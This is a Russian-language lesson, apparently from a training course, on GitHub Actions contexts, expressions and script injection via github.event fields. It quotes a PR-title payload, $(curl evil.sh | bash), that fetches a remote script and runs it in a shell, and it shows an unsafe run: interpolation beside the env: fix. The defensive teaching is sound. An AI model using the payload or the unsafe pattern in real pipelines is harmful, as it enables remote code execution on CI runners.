open atlas
↑ К треку
CI/CD-пайплайны CICD · 08 · 02

Контексты и выражения: модель данных и script injection через github.event

Контексты (`github`, `env`, `secrets`, `needs`, `matrix`) — модель данных workflow; выражения в `${{ }}` фильтруют, ветвят и вычисляют. Интерполяция управляемого атакующим текста `github.event` прямо в `run:` — это удалённое выполнение кода.

CICD Senior ◷ 16 min
Уровень
ОсновыJuniorMiddleSenior

Proof-of-concept (воспроизводимое доказательство уязвимости) уместился в заголовок pull request. Исследователь безопасности открыл PR с заголовком $(curl evil.sh | bash) против популярного open-source проекта. У их CI был дружелюбный шаг «откомментировать автору заголовок PR обратно», делавший ровно то, на что похож: echo "Thanks for PR: ${{ github.event.pull_request.title }}". GitHub интерполирует выражения ${{ }} до того, как shell вообще увидит строку — поэтому раннер собрал run:-скрипт, буквально содержавший echo "Thanks for PR: $(curl evil.sh | bash)", и shell послушно выполнил подстановку команды. Заголовок PR стал командой на раннере, с теми правами, что были у джоба. Лечением была не санитизация заголовка; лечением было — никогда не позволять управляемому атакующим тексту контекста становиться частью shell-команды. Выражения вычисляются на этапе шаблона — этот единственный факт и есть вся уязвимость, и вся защита.

Контексты: где живут данные

Прежде чем писать надёжные условия workflow или понять, почему выражение тихо вычисляется в неправильную ветку, нужно знать точно — откуда берутся данные и в какой области они живут.

Workflow читает всё, что знает, из контекстов — структурированных объектов, доступных внутри ${{ }}:

steps:
  - run: echo "commit ${{ github.sha }} on ${{ github.ref_name }}"
  - run: echo "build for ${{ matrix.os }}"
  - if: ${{ needs.build.result == 'success' }}
    run: ./deploy.sh
    env:
      TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Контексты на каждый день: github (payload события, ref, sha, actor, repository), env (переменные workflow/job/step), secrets (зашифрованные значения, маскируемые в логах), needs (outputs и result вышестоящих джобов), matrix (текущая комбинация матрицы), steps (outputs предыдущих шагов в джобе), runner, job, strategy. Доступность ограничена областью: secrets нечитаем в job-level if; needs существует только после объявления ребра needs:; matrix существует только внутри матрицированного джоба. Чтение недоступного контекста даёт пустую строку, а не ошибку — поэтому опечатка ${{ secrets.DEPOLY_TOKEN }} тихо аутентифицируется как никто, и деплой падает с непонятным 401, а не с ясным «undefined secret».

Выражения: операторы, функции и truthiness

Внутри ${{ }} доступен небольшой язык выражений: сравнения (==, !=, <, >), логика (&&, ||, !) и функции — contains(), startsWith(), format(), join(), fromJSON(), toJSON(), hashFiles() и статус-проверки success(), failure(), always(), cancelled(). Доминируют две сеньорские ловушки:

  • &&/|| возвращают операнды, а не булевы — GitHub заимствует тернарную идиому ${{ condition && 'a' || 'b' }} для выбора значения, потому что настоящего тернарника нет. Она работает, только когда «истинный» операнд сам truthy; ${{ x && '' || 'b' }} всегда даёт 'b'.
  • У if: неявный ${{ }} — пишешь if: github.ref == 'refs/heads/main' без скобок, но как только нужно выражение, начинающееся с !, его надо закавычить или взять в скобки, ведь YAML читает ведущий ! как тег.

fromJSON() — силовой инструмент: он превращает JSON-строку в реальный объект, и так строится динамическая матрица — setup-джоб выдаёт JSON-массив как output, а нижестоящий джоб делает strategy: { matrix: { include: ${{ fromJSON(needs.setup.outputs.list) }} } }. Это превращает «решить, что тестировать, в рантайме» (изменённые пакеты, обнаруженные шарды) из невозможного в одну строку.

Викторина

У шага env: VER: ${{ secrets.IS_PROD == 'true' && '1.0' || '0.9' }}, но сравнивать секреты здесь не стоит, и значение выходит '0.9' даже в проде. Какова наиболее вероятная корневая причина?

Почему это работает

Почему GitHub вычисляет ${{ }} до shell, а не передаёт контекст через переменные окружения по умолчанию? Потому что выражения должны управлять и тем, что не shell — условиями if:, значениями matrix, inputs with:, именами джобов — всё разрешается на этапе сборки шаблона по всему YAML. Цена этой однородности в том, что строка run: — лишь строка, которую движок собирает подстановкой, а подставленный текст атакующего становится кодом. Безопасный паттерн — разорвать цепочку: привязать контекст к переменной env: (env: { TITLE: ${{ github.event.pull_request.title }} }) и ссылаться на "$TITLE" в скрипте, чтобы значение шло как данные через окружение, а shell никогда не парсил его как исходник.

Класс инъекций и его единственный фикс

Уязвимость Hook — целый класс: любая строка run:, интерполирующая контекст, на который может влиять атакующий — github.event.*.title, *.body, *.head.ref, сообщения коммитов, head_commit.message, тела ревью — это sink (точка поглощения данных, где они могут стать командой) для script injection. Фикс механичен и полон: никогда не клади управляемый атакующим ${{ }} прямо в run:; передай его через env: и ссылайся на переменную окружения, закавыченную.

# НЕБЕЗОПАСНО: title интерполируется в скрипт, который собирает раннер
- run: echo "title: ${{ github.event.pull_request.title }}"

# БЕЗОПАСНО: значение идёт как данные; shell видит переменную, не исходник
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "title: $PR_TITLE"

Первая форма позволяет заголовку `id` выполнить команду; вторая печатает бэктики буквально. Больше ничего не меняется — те же данные, другая граница доверия.

Викторина

Почему передача github.event.pull_request.body через переменную env: и ссылка на "$BODY" в run: побеждает script injection, тогда как echo ${{ github.event.pull_request.body }} напрямую — нет?

Вспомните перед уходом
  1. 01
    Объясни механизм script injection в шаге run: и точную митигацию, в терминах того, когда вычисляются выражения.
  2. 02
    Для чего нужен fromJSON и почему && и || ведут себя необычно в выражениях?
Итог

Контексты — вся модель данных workflow: github несёт payload события, ref, sha и actor; env, secrets, needs, matrix, steps, runner и job несут остальное — всё читаемо внутри ${{ }} с областью видимости, ограниченной местами, где они осмысленны, а отсутствующий контекст разрешается в пустую строку, а не в ошибку, так что опечатанный секрет проваливается закрытым и тихо. Язык выражений даёт сравнения, логику и функции вроде contains, format, hashFiles, статус-проверки success/failure/always/cancelled и fromJSON — силовой инструмент, парсящий рантайм-JSON-строку в динамическую матрицу, чтобы setup-джоб решал в рантайме, какие ноги тестов. Две причуды кусают сеньоров: &&/|| возвращают операнды, а не булевы — тернарная идиома ${{ cond && 'a' || 'b' }} проваливается, когда истинный операнд falsy — и у if: неявный ${{ }}, конфликтующий с тегом ! в YAML. Определяющая опасность — тайминг: ${{ }} вычисляется на этапе сборки шаблона, до того как shell увидит строку run:, поэтому любой управляемый атакующим контекст — заголовки PR, тела, имена веток, сообщения коммитов — интерполированный прямо в run:, становится исходником shell и выполняется. Полный механический фикс — привязать такие значения к переменной env: и ссылаться на закавыченный $VAR, чтобы текст атакующего пересекал границу как данные, а shell никогда не парсил его как команду. Теперь, когда встретишь шаг run:, напрямую ссылающийся на ${{ github.event.* }}, — знаешь, что перед тобой sink для script injection, и знаешь, какую именно строку перенести в env:.

Практика

Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.

вспомнитьприменитьуглубить0 из 5 завершено

Что-то непонятно?

Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.

хоткеи развернуть
поиск
K
пред. пьеса
k
след. пьеса
j
тиры
t
это меню
?
sources3
expand
  1. 01
  2. 02
  3. 03

Trademarks belong to their respective owners. Editorial reference only.